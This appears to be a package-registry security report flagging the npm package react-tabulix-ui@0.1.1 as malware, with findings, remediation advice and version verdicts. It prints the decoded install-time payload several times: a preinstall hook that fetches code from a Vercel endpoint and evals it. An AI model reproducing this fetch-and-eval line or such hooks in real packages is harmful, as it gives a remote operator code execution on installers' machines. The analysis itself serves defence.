registry / Remote code execution / react-tabulix-ui

react-tabulix-ui

Ready-to-use React table UI built on react-tabulix-core — sort, filter, paginate without virtualization

This report shows the evidence for react-tabulix-ui@0.1.1. 3 of 4 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

AI Security Review

scanned 3mo ago · by lpm-firewall-ai

This is concrete, concealed install-time download-and-execute behavior unrelated to a React table UI. The benign runtime bundle does not mitigate the preinstall RCE.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm preinstall during package installation

Impact

Remote operator can execute arbitrary JavaScript in the installing user's environment.

Mechanism

Base64-obscured remote fetch followed by eval

Attack narrative

The manifest runs dist/index.d.js automatically at preinstall. That file decodes an obfuscated payload which fetches attacker-controlled content from a Vercel endpoint and evaluates it, creating install-time remote code execution.

AI rationale

This is concrete, concealed install-time download-and-execute behavior unrelated to a React table UI. The benign runtime bundle does not mitigate the preinstall RCE.

Evidence

package.jsondist/index.d.jsdist/index.jsdist/index.mjs

Network endpoints1

everydaynodechecker-39143n.vercel.app/api/key?mem=root2

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json defines preinstall: node ./dist/index.d.js.
dist/index.d.js Base64-decodes an async fetch-and-eval payload.
The decoded payload fetches https://everydaynodechecker-39143n.vercel.app/api/key?mem=root2 and evals its response.
The malicious installer is separate from the declared React table runtime entrypoints.

Evidence against

dist/index.js and dist/index.mjs contain only the documented React table component.
No local credential harvesting, file writes, or agent-control configuration mutation was found in inspected files.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

HighEntropyStringsObfuscated

ManifestNo manifest risk signals triggered.

scanned 3 file(s), 9.72 KB of source

Source & flagged code

5 flagged

package.jsonView file

•scripts.preinstall = node ./dist/index.d.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

dist/index.d.js#virtual:base64:round1View file

1(async () => eval( await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root2') .then(r => r.text()) ) )();

Critical

Download Execute

Source downloads or fetches remote code and executes it.

dist/index.d.js#virtual:base64:round1View on unpkg · L1

1(async () => eval( await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root2') .then(r => r.text()) ) )();

Critical

Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

dist/index.d.js#virtual:base64:round1View on unpkg · L1

1Trigger-reachable chain: scripts.preinstall -> dist/index.d.js L1: (async () => eval( await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root2') .then(r => r.text()) ) )();

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/index.d.js#virtual:base64:round1View on unpkg · L1

dist/index.d.jsView file

3const b4 = '[redacted]=... L4: const text = Buffer.from(b4, "base64").toString("utf-8"); L5: let nms = [101, 118, 97, 108]

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

dist/index.d.jsView on unpkg · L3

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.preinstall = node ./dist/index.d.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

dist/index.d.js#virtual:base64:round1View file

1(async () => eval( await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root2') .then(r => r.text()) ) )();

Critical

Download Execute

Source downloads or fetches remote code and executes it.

dist/index.d.js#virtual:base64:round1View on unpkg · L1

1(async () => eval( await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root2') .then(r => r.text()) ) )();

Critical

Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

Findings

3 Critical2 High1 Medium3 Low

CriticalDownload Executedist/index.d.js#virtual:base64:round1

CriticalRemote Asset Decode Executedist/index.d.js#virtual:base64:round1

CriticalTrigger Reachable Dangerous Capabilitydist/index.d.js#virtual:base64:round1

HighInstall Time Lifecycle Scriptspackage.json

HighBase64 Obscured Urldist/index.d.js

MediumStructural Risk Force Deep Review

LowScripts Present

LowObfuscated

LowHigh Entropy Strings

Affected versions and remediation

This report applies to react-tabulix-ui@0.1.1.

The versions list below shows the verdict for each recorded version.

Avoid installing react-tabulix-ui@0.1.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-04 22:05:13.837Z (UTC).

Source advisory published: 2026-07-21 16:05:53.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

4 known versions

0.0.1-securitylatestClean—AllowPublishedJul 22, 2026, 8:11 PM 0.1.2MaliciousMalwareBlockPublishedJul 22, 2026, 5:45 PM 0.1.1shownMaliciousRemote Code ExecutionBlockPublishedJul 21, 2026, 3:59 PM 0.1.0MaliciousRemote Code ExecutionBlockPublishedJul 21, 2026, 3:30 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Behavioral surface

Source & flagged code

Related packages

Other remote code execution packages